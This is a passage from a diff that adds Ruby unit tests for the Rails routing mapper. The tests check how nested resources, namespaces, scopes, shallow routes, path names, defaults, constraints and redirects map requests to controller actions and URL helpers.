+    assert_equal "/projects/1/participants", project_participants_path(project_id: "1")
+
+    put "/projects/1/participants/update_all"
+    assert_equal "participants#update_all", @response.body
+    assert_equal "/projects/1/participants/update_all", update_all_project_participants_path(project_id: "1")
+  end
+
+  def test_projects_companies
+    draw do
+      resources :projects, controller: :project do
+        resources :companies do
+          resources :people
+          resource  :avatar, controller: :avatar
+        end
+      end
+    end
+
+    get "/projects/1/companies"
+    assert_equal "companies#index", @response.body
+    assert_equal "/projects/1/companies", project_companies_path(project_id: "1")
+
+    get "/projects/1/companies/1/people"
+    assert_equal "people#index", @response.body
+    assert_equal "/projects/1/companies/1/people", project_company_people_path(project_id: "1", company_id: "1")
+
+    get "/projects/1/companies/1/avatar"
+    assert_equal "avatar#show", @response.body
+    assert_equal "/projects/1/companies/1/avatar", project_company_avatar_path(project_id: "1", company_id: "1")
+  end
+
+  def test_project_manager
+    draw do
+      resources :projects do
+        resource :manager, as: :super_manager do
+          post :fire
+        end
+      end
+    end
+
+    get "/projects/1/manager"
+    assert_equal "managers#show", @response.body
+    assert_equal "/projects/1/manager", project_super_manager_path(project_id: "1")
+
+    get "/projects/1/manager/new"
+    assert_equal "managers#new", @response.body
+    assert_equal "/projects/1/manager/new", new_project_super_manager_path(project_id: "1")
+
+    post "/projects/1/manager/fire"
+    assert_equal "managers#fire", @response.body
+    assert_equal "/projects/1/manager/fire", fire_project_super_manager_path(project_id: "1")
+  end
+
+  def test_project_images
+    draw do
+      resources :projects do
+        resources :images, as: :funny_images do
+          post :revise, on: :member
+        end
+      end
+    end
+
+    get "/projects/1/images"
+    assert_equal "images#index", @response.body
+    assert_equal "/projects/1/images", project_funny_images_path(project_id: "1")
+
+    get "/projects/1/images/new"
+    assert_equal "images#new", @response.body
+    assert_equal "/projects/1/images/new", new_project_funny_image_path(project_id: "1")
+
+    post "/projects/1/images/1/revise"
+    assert_equal "images#revise", @response.body
+    assert_equal "/projects/1/images/1/revise", revise_project_funny_image_path(project_id: "1", id: "1")
+  end
+
+  def test_projects_people
+    draw do
+      resources :projects do
+        resources :people do
+          nested do
+            scope "/:access_token" do
+              resource :avatar
+            end
+          end
+
+          member do
+            put  :accessible_projects
+            post :resend, :generate_new_password
+          end
+        end
+      end
+    end
+
+    get "/projects/1/people"
+    assert_equal "people#index", @response.body
+    assert_equal "/projects/1/people", project_people_path(project_id: "1")
+
+    get "/projects/1/people/1"
+    assert_equal "people#show", @response.body
+    assert_equal "/projects/1/people/1", project_person_path(project_id: "1", id: "1")
+
+    get "/projects/1/people/1/7a2dec8/avatar"
+    assert_equal "avatars#show", @response.body
+    assert_equal "/projects/1/people/1/7a2dec8/avatar", project_person_avatar_path(project_id: "1", person_id: "1", access_token: "7a2dec8")
+
+    put "/projects/1/people/1/accessible_projects"
+    assert_equal "people#accessible_projects", @response.body
+    assert_equal "/projects/1/people/1/accessible_projects", accessible_projects_project_person_path(project_id: "1", id: "1")
+
+    post "/projects/1/people/1/resend"
+    assert_equal "people#resend", @response.body
+    assert_equal "/projects/1/people/1/resend", resend_project_person_path(project_id: "1", id: "1")
+
+    post "/projects/1/people/1/generate_new_password"
+    assert_equal "people#generate_new_password", @response.body
+    assert_equal "/projects/1/people/1/generate_new_password", generate_new_password_project_person_path(project_id: "1", id: "1")
+  end
+
+  def test_projects_with_resources_path_names
+    draw do
+      resources_path_names correlation_indexes: "info_about_correlation_indexes"
+
+      resources :projects do
+        get :correlation_indexes, on: :collection
+      end
+    end
+
+    get "/projects/info_about_correlation_indexes"
+    assert_equal "projects#correlation_indexes", @response.body
+    assert_equal "/projects/info_about_correlation_indexes", correlation_indexes_projects_path
+  end
+
+  def test_projects_posts
+    draw do
+      resources :projects do
+        resources :posts do
+          get  :archive, :toggle_view, on: :collection
+          post :preview, on: :member
+
+          resource :subscription
+
+          resources :comments do
+            post :preview, on: :collection
+          end
+        end
+      end
+    end
+
+    get "/projects/1/posts"
+    assert_equal "posts#index", @response.body
+    assert_equal "/projects/1/posts", project_posts_path(project_id: "1")
+
+    get "/projects/1/posts/archive"
+    assert_equal "posts#archive", @response.body
+    assert_equal "/projects/1/posts/archive", archive_project_posts_path(project_id: "1")
+
+    get "/projects/1/posts/toggle_view"
+    assert_equal "posts#toggle_view", @response.body
+    assert_equal "/projects/1/posts/toggle_view", toggle_view_project_posts_path(project_id: "1")
+
+    post "/projects/1/posts/1/preview"
+    assert_equal "posts#preview", @response.body
+    assert_equal "/projects/1/posts/1/preview", preview_project_post_path(project_id: "1", id: "1")
+
+    get "/projects/1/posts/1/subscription"
+    assert_equal "subscriptions#show", @response.body
+    assert_equal "/projects/1/posts/1/subscription", project_post_subscription_path(project_id: "1", post_id: "1")
+
+    get "/projects/1/posts/1/comments"
+    assert_equal "comments#index", @response.body
+    assert_equal "/projects/1/posts/1/comments", project_post_comments_path(project_id: "1", post_id: "1")
+
+    post "/projects/1/posts/1/comments/preview"
+    assert_equal "comments#preview", @response.body
+    assert_equal "/projects/1/posts/1/comments/preview", preview_project_post_comments_path(project_id: "1", post_id: "1")
+  end
+
+  def test_replies
+    draw do
+      resources :replies do
+        member do
+          put :answer, action: :mark_as_answer
+          delete :answer, action: :unmark_as_answer
+        end
+      end
+    end
+
+    put "/replies/1/answer"
+    assert_equal "replies#mark_as_answer", @response.body
+
+    delete "/replies/1/answer"
+    assert_equal "replies#unmark_as_answer", @response.body
+  end
+
+  def test_resource_routes_with_only_and_except
+    draw do
+      resources :posts, only: [:index, :show] do
+        resources :comments, except: :destroy
+      end
+    end
+
+    get "/posts"
+    assert_equal "posts#index", @response.body
+    assert_equal "/posts", posts_path
+
+    get "/posts/1"
+    assert_equal "posts#show", @response.body
+    assert_equal "/posts/1", post_path(id: 1)
+
+    get "/posts/1/comments"
+    assert_equal "comments#index", @response.body
+    assert_equal "/posts/1/comments", post_comments_path(post_id: 1)
+
+    post "/posts"
+    assert_equal "pass", @response.headers["X-Cascade"]
+    put "/posts/1"
+    assert_equal "pass", @response.headers["X-Cascade"]
+    delete "/posts/1"
+    assert_equal "pass", @response.headers["X-Cascade"]
+    delete "/posts/1/comments"
+    assert_equal "pass", @response.headers["X-Cascade"]
+  end
+
+  def test_resource_routes_only_create_update_destroy
+    draw do
+      resource  :past, only: :destroy
+      resource  :present, only: :update
+      resource  :future, only: :create
+    end
+
+    delete "/past"
+    assert_equal "pasts#destroy", @response.body
+    assert_equal "/past", past_path
+
+    patch "/present"
+    assert_equal "presents#update", @response.body
+    assert_equal "/present", present_path
+
+    put "/present"
+    assert_equal "presents#update", @response.body
+    assert_equal "/present", present_path
+
+    post "/future"
+    assert_equal "futures#create", @response.body
+    assert_equal "/future", future_path
+  end
+
+  def test_resources_routes_only_create_update_destroy
+    draw do
+      resources :relationships, only: [:create, :destroy]
+      resources :friendships,   only: [:update]
+    end
+
+    post "/relationships"
+    assert_equal "relationships#create", @response.body
+    assert_equal "/relationships", relationships_path
+
+    delete "/relationships/1"
+    assert_equal "relationships#destroy", @response.body
+    assert_equal "/relationships/1", relationship_path(1)
+
+    patch "/friendships/1"
+    assert_equal "friendships#update", @response.body
+    assert_equal "/friendships/1", friendship_path(1)
+
+    put "/friendships/1"
+    assert_equal "friendships#update", @response.body
+    assert_equal "/friendships/1", friendship_path(1)
+  end
+
+  def test_resource_with_slugs_in_ids
+    draw do
+      resources :posts
+    end
+
+    get "/posts/rails-rocks"
+    assert_equal "posts#show", @response.body
+    assert_equal "/posts/rails-rocks", post_path(id: "rails-rocks")
+  end
+
+  def test_resources_for_uncountable_names
+    draw do
+      resources :sheep do
+        get "_it", on: :member
+      end
+    end
+
+    assert_equal "/sheep", sheep_index_path
+    assert_equal "/sheep/1", sheep_path(1)
+    assert_equal "/sheep/new", new_sheep_path
+    assert_equal "/sheep/1/edit", edit_sheep_path(1)
+    assert_equal "/sheep/1/_it", _it_sheep_path(1)
+  end
+
+  def test_resource_does_not_modify_passed_options
+    options = { id: /.+?/, format: /json|xml/ }
+    draw { resource :user, options }
+    assert_equal({ id: /.+?/, format: /json|xml/ }, options)
+  end
+
+  def test_resources_does_not_modify_passed_options
+    options = { id: /.+?/, format: /json|xml/ }
+    draw { resources :users, options }
+    assert_equal({ id: /.+?/, format: /json|xml/ }, options)
+  end
+
+  def test_path_names
+    draw do
+      scope "pt", as: "pt" do
+        resources :projects, path_names: { edit: "editar", new: "novo" }, path: "projetos"
+        resource  :admin, path_names: { new: "novo", activate: "ativar" }, path: "administrador" do
+          put :activate, on: :member
+        end
+      end
+    end
+
+    get "/pt/projetos"
+    assert_equal "projects#index", @response.body
+    assert_equal "/pt/projetos", pt_projects_path
+
+    get "/pt/projetos/1/editar"
+    assert_equal "projects#edit", @response.body
+    assert_equal "/pt/projetos/1/editar", edit_pt_project_path(1)
+
+    get "/pt/administrador"
+    assert_equal "admins#show", @response.body
+    assert_equal "/pt/administrador", pt_admin_path
+
+    get "/pt/administrador/novo"
+    assert_equal "admins#new", @response.body
+    assert_equal "/pt/administrador/novo", new_pt_admin_path
+
+    put "/pt/administrador/ativar"
+    assert_equal "admins#activate", @response.body
+    assert_equal "/pt/administrador/ativar", activate_pt_admin_path
+  end
+
+  def test_path_option_override
+    draw do
+      scope "pt", as: "pt" do
+        resources :projects, path_names: { new: "novo" }, path: "projetos" do
+          put :close, on: :member, path: "fechar"
+          get :open, on: :new, path: "abrir"
+        end
+      end
+    end
+
+    get "/pt/projetos/novo/abrir"
+    assert_equal "projects#open", @response.body
+    assert_equal "/pt/projetos/novo/abrir", open_new_pt_project_path
+
+    put "/pt/projetos/1/fechar"
+    assert_equal "projects#close", @response.body
+    assert_equal "/pt/projetos/1/fechar", close_pt_project_path(1)
+  end
+
+  def test_sprockets
+    draw do
+      get "sprockets.js" => ::TestRoutingMapper::SprocketsApp
+    end
+
+    get "/sprockets.js"
+    assert_equal "javascripts", @response.body
+  end
+
+  def test_update_person_route
+    draw do
+      get "people/:id/update", to: "people#update", as: :update_person
+    end
+
+    get "/people/1/update"
+    assert_equal "people#update", @response.body
+
+    assert_equal "/people/1/update", update_person_path(id: 1)
+  end
+
+  def test_update_project_person
+    draw do
+      get "/projects/:project_id/people/:id/update", to: "people#update", as: :update_project_person
+    end
+
+    get "/projects/1/people/2/update"
+    assert_equal "people#update", @response.body
+
+    assert_equal "/projects/1/people/2/update", update_project_person_path(project_id: 1, id: 2)
+  end
+
+  def test_forum_products
+    draw do
+      namespace :forum do
+        resources :products, path: "" do
+          resources :questions
+        end
+      end
+    end
+
+    get "/forum"
+    assert_equal "forum/products#index", @response.body
+    assert_equal "/forum", forum_products_path
+
+    get "/forum/basecamp"
+    assert_equal "forum/products#show", @response.body
+    assert_equal "/forum/basecamp", forum_product_path(id: "basecamp")
+
+    get "/forum/basecamp/questions"
+    assert_equal "forum/questions#index", @response.body
+    assert_equal "/forum/basecamp/questions", forum_product_questions_path(product_id: "basecamp")
+
+    get "/forum/basecamp/questions/1"
+    assert_equal "forum/questions#show", @response.body
+    assert_equal "/forum/basecamp/questions/1", forum_product_question_path(product_id: "basecamp", id: 1)
+  end
+
+  def test_articles_perma
+    draw do
+      get "articles/:year/:month/:day/:title", to: "articles#show", as: :article
+    end
+
+    get "/articles/2009/08/18/rails-3"
+    assert_equal "articles#show", @response.body
+
+    assert_equal "/articles/2009/8/18/rails-3", article_path(year: 2009, month: 8, day: 18, title: "rails-3")
+  end
+
+  def test_account_namespace
+    draw do
+      namespace :account do
+        resource :subscription, :credit, :credit_card
+      end
+    end
+
+    get "/account/subscription"
+    assert_equal "account/subscriptions#show", @response.body
+    assert_equal "/account/subscription", account_subscription_path
+
+    get "/account/credit"
+    assert_equal "account/credits#show", @response.body
+    assert_equal "/account/credit", account_credit_path
+
+    get "/account/credit_card"
+    assert_equal "account/credit_cards#show", @response.body
+    assert_equal "/account/credit_card", account_credit_card_path
+  end
+
+  def test_nested_namespace
+    draw do
+      namespace :account do
+        namespace :admin do
+          resource :subscription
+        end
+      end
+    end
+
+    get "/account/admin/subscription"
+    assert_equal "account/admin/subscriptions#show", @response.body
+    assert_equal "/account/admin/subscription", account_admin_subscription_path
+  end
+
+  def test_namespace_nested_in_resources
+    draw do
+      resources :clients do
+        namespace :google do
+          resource :account do
+            namespace :secret do
+              resource :info
+            end
+          end
+        end
+      end
+    end
+
+    get "/clients/1/google/account"
+    assert_equal "/clients/1/google/account", client_google_account_path(1)
+    assert_equal "google/accounts#show", @response.body
+
+    get "/clients/1/google/account/secret/info"
+    assert_equal "/clients/1/google/account/secret/info", client_google_account_secret_info_path(1)
+    assert_equal "google/secret/infos#show", @response.body
+  end
+
+  def test_namespace_with_options
+    draw do
+      namespace :users, path: "usuarios" do
+        root to: "home#index"
+      end
+    end
+
+    get "/usuarios"
+    assert_equal "/usuarios", users_root_path
+    assert_equal "users/home#index", @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_module_option
+    draw do
+      namespace :foo, module: "bar" do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get "/foo/posts"
+    assert_equal "/foo/posts", foo_posts_path
+    assert_equal "bar/posts#index", @response.body
+
+    get "/foo/posts/1"
+    assert_equal "/foo/posts/1", foo_post_path("1")
+    assert_equal "bar/posts#show", @response.body
+
+    get "/foo/posts/1/comments"
+    assert_equal "/foo/posts/1/comments", foo_post_comments_path("1")
+    assert_equal "bar/comments#index", @response.body
+
+    get "/foo/comments/2"
+    assert_equal "/foo/comments/2", foo_comment_path("2")
+    assert_equal "bar/comments#show", @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_path_option
+    draw do
+      namespace :foo, path: "bar" do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get "/bar/posts"
+    assert_equal "/bar/posts", foo_posts_path
+    assert_equal "foo/posts#index", @response.body
+
+    get "/bar/posts/1"
+    assert_equal "/bar/posts/1", foo_post_path("1")
+    assert_equal "foo/posts#show", @response.body
+
+    get "/bar/posts/1/comments"
+    assert_equal "/bar/posts/1/comments", foo_post_comments_path("1")
+    assert_equal "foo/comments#index", @response.body
+
+    get "/bar/comments/2"
+    assert_equal "/bar/comments/2", foo_comment_path("2")
+    assert_equal "foo/comments#show", @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_as_option
+    draw do
+      namespace :foo, as: "bar" do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get "/foo/posts"
+    assert_equal "/foo/posts", bar_posts_path
+    assert_equal "foo/posts#index", @response.body
+
+    get "/foo/posts/1"
+    assert_equal "/foo/posts/1", bar_post_path("1")
+    assert_equal "foo/posts#show", @response.body
+
+    get "/foo/posts/1/comments"
+    assert_equal "/foo/posts/1/comments", bar_post_comments_path("1")
+    assert_equal "foo/comments#index", @response.body
+
+    get "/foo/comments/2"
+    assert_equal "/foo/comments/2", bar_comment_path("2")
+    assert_equal "foo/comments#show", @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_shallow_path_option
+    draw do
+      namespace :foo, shallow_path: "bar" do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get "/foo/posts"
+    assert_equal "/foo/posts", foo_posts_path
+    assert_equal "foo/posts#index", @response.body
+
+    get "/foo/posts/1"
+    assert_equal "/foo/posts/1", foo_post_path("1")
+    assert_equal "foo/posts#show", @response.body
+
+    get "/foo/posts/1/comments"
+    assert_equal "/foo/posts/1/comments", foo_post_comments_path("1")
+    assert_equal "foo/comments#index", @response.body
+
+    get "/bar/comments/2"
+    assert_equal "/bar/comments/2", foo_comment_path("2")
+    assert_equal "foo/comments#show", @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_shallow_prefix_option
+    draw do
+      namespace :foo, shallow_prefix: "bar" do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get "/foo/posts"
+    assert_equal "/foo/posts", foo_posts_path
+    assert_equal "foo/posts#index", @response.body
+
+    get "/foo/posts/1"
+    assert_equal "/foo/posts/1", foo_post_path("1")
+    assert_equal "foo/posts#show", @response.body
+
+    get "/foo/posts/1/comments"
+    assert_equal "/foo/posts/1/comments", foo_post_comments_path("1")
+    assert_equal "foo/comments#index", @response.body
+
+    get "/foo/comments/2"
+    assert_equal "/foo/comments/2", bar_comment_path("2")
+    assert_equal "foo/comments#show", @response.body
+  end
+
+  def test_namespace_containing_numbers
+    draw do
+      namespace :v2 do
+        resources :subscriptions
+      end
+    end
+
+    get "/v2/subscriptions"
+    assert_equal "v2/subscriptions#index", @response.body
+    assert_equal "/v2/subscriptions", v2_subscriptions_path
+  end
+
+  def test_articles_with_id
+    draw do
+      controller :articles do
+        scope "/articles", as: "article" do
+          scope path: "/:title", title: /[a-z]+/, as: :with_title do
+            get "/:id", action: :with_id, as: ""
+          end
+        end
+      end
+    end
+
+    get "/articles/rails/1"
+    assert_equal "articles#with_id", @response.body
+
+    get "/articles/123/1"
+    assert_equal "pass", @response.headers["X-Cascade"]
+
+    assert_equal "/articles/rails/1", article_with_title_path(title: "rails", id: 1)
+  end
+
+  def test_access_token_rooms
+    draw do
+      scope ":access_token", constraints: { access_token: /\w{5,5}/ } do
+        resources :rooms
+      end
+    end
+
+    get "/12345/rooms"
+    assert_equal "rooms#index", @response.body
+
+    get "/12345/rooms/1"
+    assert_equal "rooms#show", @response.body
+
+    get "/12345/rooms/1/edit"
+    assert_equal "rooms#edit", @response.body
+  end
+
+  def test_root
+    draw do
+      root to: "projects#index"
+    end
+
+    assert_equal "/", root_path
+    get "/"
+    assert_equal "projects#index", @response.body
+  end
+
+  def test_scoped_root
+    draw do
+      scope "(:locale)", locale: /en|pl/ do
+        root to: "projects#index"
+      end
+    end
+
+    assert_equal "/en", root_path(locale: "en")
+    get "/en"
+    assert_equal "projects#index", @response.body
+  end
+
+  def test_scoped_root_as_name
+    draw do
+      scope "(:locale)", locale: /en|pl/ do
+        root to: "projects#index", as: "projects"
+      end
+    end
+
+    assert_equal "/en", projects_path(locale: "en")
+    assert_equal "/", projects_path
+    get "/en"
+    assert_equal "projects#index", @response.body
+  end
+
+  def test_scope_with_format_option
+    draw do
+      get "direct/index", as: :no_format_direct, format: false
+
+      scope format: false do
+        get "scoped/index", as: :no_format_scoped
+      end
+    end
+
+    assert_equal "/direct/index", no_format_direct_path
+    assert_equal "/direct/index?format=html", no_format_direct_path(format: "html")
+
+    assert_equal "/scoped/index", no_format_scoped_path
+    assert_equal "/scoped/index?format=html", no_format_scoped_path(format: "html")
+
+    get "/scoped/index"
+    assert_equal "scoped#index", @response.body
+
+    get "/scoped/index.html"
+    assert_equal "Not Found", @response.body
+  end
+
+  def test_resources_with_format_false_from_scope
+    draw do
+      scope format: false do
+        resources :posts
+        resource :user
+      end
+    end
+
+    get "/posts"
+    assert_response :success
+    assert_equal "posts#index", @response.body
+    assert_equal "/posts", posts_path
+
+    get "/posts.html"
+    assert_response :not_found
+    assert_equal "Not Found", @response.body
+    assert_equal "/posts?format=html", posts_path(format: "html")
+
+    get "/user"
+    assert_response :success
+    assert_equal "users#show", @response.body
+    assert_equal "/user", user_path
+
+    get "/user.html"
+    assert_response :not_found
+    assert_equal "Not Found", @response.body
+    assert_equal "/user?format=html", user_path(format: "html")
+  end
+
+  def test_index
+    draw do
+      get "/info" => "projects#info", :as => "info"
+    end
+
+    assert_equal "/info", info_path
+    get "/info"
+    assert_equal "projects#info", @response.body
+  end
+
+  def test_match_with_many_paths_containing_a_slash
+    draw do
+      get "get/first", "get/second", "get/third", to: "get#show"
+    end
+
+    get "/get/first"
+    assert_equal "get#show", @response.body
+
+    get "/get/second"
+    assert_equal "get#show", @response.body
+
+    get "/get/third"
+    assert_equal "get#show", @response.body
+  end
+
+  def test_match_shorthand_with_no_scope
+    draw do
+      get "account/overview"
+    end
+
+    assert_equal "/account/overview", account_overview_path
+    get "/account/overview"
+    assert_equal "account#overview", @response.body
+  end
+
+  def test_match_shorthand_inside_namespace
+    draw do
+      namespace :account do
+        get "shorthand"
+      end
+    end
+
+    assert_equal "/account/shorthand", account_shorthand_path
+    get "/account/shorthand"
+    assert_equal "account#shorthand", @response.body
+  end
+
+  def test_match_shorthand_with_multiple_paths_inside_namespace
+    draw do
+      namespace :proposals do
+        put "activate", "inactivate"
+      end
+    end
+
+    put "/proposals/activate"
+    assert_equal "proposals#activate", @response.body
+
+    put "/proposals/inactivate"
+    assert_equal "proposals#inactivate", @response.body
+  end
+
+  def test_match_shorthand_inside_namespace_with_controller
+    draw do
+      namespace :api do
+        get "products/list"
+      end
+    end
+
+    assert_equal "/api/products/list", api_products_list_path
+    get "/api/products/list"
+    assert_equal "api/products#list", @response.body
+  end
+
+  def test_match_shorthand_inside_scope_with_variables_with_controller
+    draw do
+      scope ":locale" do
+        match "questions/new", via: [:get]
+      end
+    end
+
+    get "/de/questions/new"
+    assert_equal "questions#new", @response.body
+    assert_equal "de", @request.params[:locale]
+  end
+
+  def test_match_shorthand_inside_nested_namespaces_and_scopes_with_controller
+    draw do
+      namespace :api do
+        namespace :v3 do
+          scope ":locale" do
+            get "products/list"
+          end
+        end
+      end
+    end
+
+    get "/api/v3/en/products/list"
+    assert_equal "api/v3/products#list", @response.body
+  end
+
+  def test_not_matching_shorthand_with_dynamic_parameters
+    draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/admin"
+      end
+    end
+
+    get "/finances/overview/admin"
+    assert_equal "finances#overview", @response.body
+  end
+
+  def test_controller_option_with_nesting_and_leading_slash
+    draw do
+      scope "/job", controller: "job" do
+        scope ":id", action: "manage_applicant" do
+          get "/active"
+        end
+      end
+    end
+
+    get "/job/5/active"
+    assert_equal "job#manage_applicant", @response.body
+  end
+
+  def test_dynamically_generated_helpers_on_collection_do_not_clobber_resources_url_helper
+    draw do
+      resources :replies do
+        collection do
+          get "page/:page" => "replies#index", :page => %r{\d+}
+          get ":page" => "replies#index", :page => %r{\d+}
+        end
+      end
+    end
+
+    assert_equal "/replies", replies_path
+  end
+
+  def test_scoped_controller_with_namespace_and_action
+    draw do
+      namespace :account do
+        ActiveSupport::Deprecation.silence do
+          get ":action/callback", action: /twitter|github/, controller: "callbacks", as: :callback
+        end
+      end
+    end
+
+    assert_equal "/account/twitter/callback", account_callback_path("twitter")
+    get "/account/twitter/callback"
+    assert_equal "account/callbacks#twitter", @response.body
+
+    get "/account/whatever/callback"
+    assert_equal "Not Found", @response.body
+  end
+
+  def test_convention_match_nested_and_with_leading_slash
+    draw do
+      get "/account/nested/overview"
+    end
+
+    assert_equal "/account/nested/overview", account_nested_overview_path
+    get "/account/nested/overview"
+    assert_equal "account/nested#overview", @response.body
+  end
+
+  def test_convention_with_explicit_end
+    draw do
+      get "sign_in" => "sessions#new"
+    end
+
+    get "/sign_in"
+    assert_equal "sessions#new", @response.body
+    assert_equal "/sign_in", sign_in_path
+  end
+
+  def test_redirect_with_complete_url_and_status
+    draw do
+      get "account/google" => redirect("http://www.google.com/", status: 302)
+    end
+
+    get "/account/google"
+    verify_redirect "http://www.google.com/", 302
+  end
+
+  def test_redirect_with_port
+    draw do
+      get "account/login", to: redirect("/login")
+    end
+
+    previous_host, self.host = host, "www.example.com:3000"
+
+    get "/account/login"
+    verify_redirect "http://www.example.com:3000/login"
+  ensure
+    self.host = previous_host
+  end
+
+  def test_normalize_namespaced_matches
+    draw do
+      namespace :account do
+        get "description", action: :description, as: "description"
+      end
+    end
+
+    assert_equal "/account/description", account_description_path
+
+    get "/account/description"
+    assert_equal "account#description", @response.body
+  end
+
+  def test_namespaced_roots
+    draw do
+      namespace :account do
+        root to: "account#index"
+      end
+    end
+
+    assert_equal "/account", account_root_path
+    get "/account"
+    assert_equal "account/account#index", @response.body
+  end
+
+  def test_optional_scoped_root
+    draw do
+      scope "(:locale)", locale: /en|pl/ do
+        root to: "projects#index"
+      end
+    end
+
+    assert_equal "/en", root_path("en")
+    get "/en"
+    assert_equal "projects#index", @response.body
+  end
+
+  def test_optional_scoped_path
+    draw do
+      scope "(:locale)", locale: /en|pl/ do
+        resources :descriptions
+      end
+    end
+
+    assert_equal "/en/descriptions", descriptions_path("en")
+    assert_equal "/descriptions", descriptions_path(nil)
+    assert_equal "/en/descriptions/1", description_path("en", 1)
+    assert_equal "/descriptions/1", description_path(nil, 1)
+
+    get "/en/descriptions"
+    assert_equal "descriptions#index", @response.body
+
+    get "/descriptions"
+    assert_equal "descriptions#index", @response.body
+
+    get "/en/descriptions/1"
+    assert_equal "descriptions#show", @response.body
+
+    get "/descriptions/1"
+    assert_equal "descriptions#show", @response.body
+  end
+
+  def test_nested_optional_scoped_path
+    draw do
+      namespace :admin do
+        scope "(:locale)", locale: /en|pl/ do
+          resources :descriptions
+        end
+      end
+    end
+
+    assert_equal "/admin/en/descriptions", admin_descriptions_path("en")
+    assert_equal "/admin/descriptions", admin_descriptions_path(nil)
+    assert_equal "/admin/en/descriptions/1", admin_description_path("en", 1)
+    assert_equal "/admin/descriptions/1", admin_description_path(nil, 1)
+
+    get "/admin/en/descriptions"
+    assert_equal "admin/descriptions#index", @response.body
+
+    get "/admin/descriptions"
+    assert_equal "admin/descriptions#index", @response.body
+
+    get "/admin/en/descriptions/1"
+    assert_equal "admin/descriptions#show", @response.body
+
+    get "/admin/descriptions/1"
+    assert_equal "admin/descriptions#show", @response.body
+  end
+
+  def test_nested_optional_path_shorthand
+    draw do
+      scope "(:locale)", locale: /en|pl/ do
+        get "registrations/new"
+      end
+    end
+
+    get "/registrations/new"
+    assert_nil @request.params[:locale]
+
+    get "/en/registrations/new"
+    assert_equal "en", @request.params[:locale]
+  end
+
+  def test_default_string_params
+    draw do
+      get "inline_pages/(:id)", to: "pages#show", id: "home"
+      get "default_pages/(:id)", to: "pages#show", defaults: { id: "home" }
+
+      defaults id: "home" do
+        get "scoped_pages/(:id)", to: "pages#show"
+      end
+    end
+
+    get "/inline_pages"
+    assert_equal "home", @request.params[:id]
+
+    get "/default_pages"
+    assert_equal "home", @request.params[:id]
+
+    get "/scoped_pages"
+    assert_equal "home", @request.params[:id]
+  end
+
+  def test_default_integer_params
+    draw do
+      get "inline_pages/(:page)", to: "pages#show", page: 1
+      get "default_pages/(:page)", to: "pages#show", defaults: { page: 1 }
+
+      defaults page: 1 do
+        get "scoped_pages/(:page)", to: "pages#show"
+      end
+    end
+
+    get "/inline_pages"
+    assert_equal 1, @request.params[:page]
+
+    get "/default_pages"
+    assert_equal 1, @request.params[:page]
+
+    get "/scoped_pages"
+    assert_equal 1, @request.params[:page]
+  end
+
+  def test_keyed_default_string_params_with_match
+    draw do
+      match "/", to: "pages#show", via: :get, defaults: { id: "home" }
+    end
+
+    get "/"
+    assert_equal "home", @request.params[:id]
+  end
+
+  def test_default_string_params_with_match
+    draw do
+      match "/", to: "pages#show", via: :get, id: "home"
+    end
+
+    get "/"
+    assert_equal "home", @request.params[:id]
+  end
+
+  def test_keyed_default_string_params_with_root
+    draw do
+      root to: "pages#show", defaults: { id: "home" }
+    end
+
+    get "/"
+    assert_equal "home", @request.params[:id]
+  end
+
+  def test_default_string_params_with_root
+    draw do
+      root to: "pages#show", id: "home"
+    end
+
+    get "/"
+    assert_equal "home", @request.params[:id]
+  end
+
+  def test_resource_constraints
+    draw do
+      resources :products, constraints: { id: /\d{4}/ } do
+        root to: "products#root"
+        get :favorite, on: :collection
+        resources :images
+      end
+
+      resource :dashboard, constraints: { ip: /192\.168\.1\.\d{1,3}/ }
+    end
+
+    get "/products/1"
+    assert_equal "pass", @response.headers["X-Cascade"]
+    get "/products"
+    assert_equal "products#root", @response.body
+    get "/products/favorite"
+    assert_equal "products#favorite", @response.body
+    get "/products/0001"
+    assert_equal "products#show", @response.body
+
+    get "/products/1/images"
+    assert_equal "pass", @response.headers["X-Cascade"]
+    get "/products/0001/images"
+    assert_equal "images#index", @response.body
+    get "/products/0001/images/0001"
+    assert_equal "images#show", @response.body
+
+    get "/dashboard", headers: { "REMOTE_ADDR" => "10.0.0.100" }
+    assert_equal "pass", @response.headers["X-Cascade"]
+    get "/dashboard", headers: { "REMOTE_ADDR" => "192.168.1.100" }
+    assert_equal "dashboards#show", @response.body
+  end
+
+  def test_root_works_in_the_resources_scope
+    draw do
+      resources :products do
+        root to: "products#root"
+      end
+    end
+
+    get "/products"
+    assert_equal "products#root", @response.body
+    assert_equal "/products", products_root_path
+  end
+
+  def test_module_scope
+    draw do
+      resource :token, module: :api
+    end
+
+    get "/token"
+    assert_equal "api/tokens#show", @response.body
+    assert_equal "/token", token_path
+  end
+
+  def test_path_scope
+    draw do
+      scope path: "api" do
+        resource :me
+        get "/" => "mes#index"
+      end
+    end
+
+    get "/api/me"
+    assert_equal "mes#show", @response.body
+    assert_equal "/api/me", me_path
+
+    get "/api"
+    assert_equal "mes#index", @response.body
+  end
+
+  def test_symbol_scope
+    draw do
+      scope path: "api" do
+        scope :v2 do
+          resource :me, as: "v2_me"
+          get "/" => "mes#index"
+        end
+
+        scope :v3, :admin do
+          resource :me, as: "v3_me"
+        end
+      end
+    end
+
+    get "/api/v2/me"
+    assert_equal "mes#show", @response.body
+    assert_equal "/api/v2/me", v2_me_path
+
+    get "/api/v2"
+    assert_equal "mes#index", @response.body
+
+    get "/api/v3/admin/me"
+    assert_equal "mes#show", @response.body
+  end
+
+  def test_url_generator_for_generic_route
+    draw do
+      ActiveSupport::Deprecation.silence do
+        get "whatever/:controller(/:action(/:id))"
+      end
+    end
+
+    get "/whatever/foo/bar"
+    assert_equal "foo#bar", @response.body
+
+    assert_equal "http://www.example.com/whatever/foo/bar/1",
+      url_for(controller: "foo", action: "bar", id: 1)
+  end
+
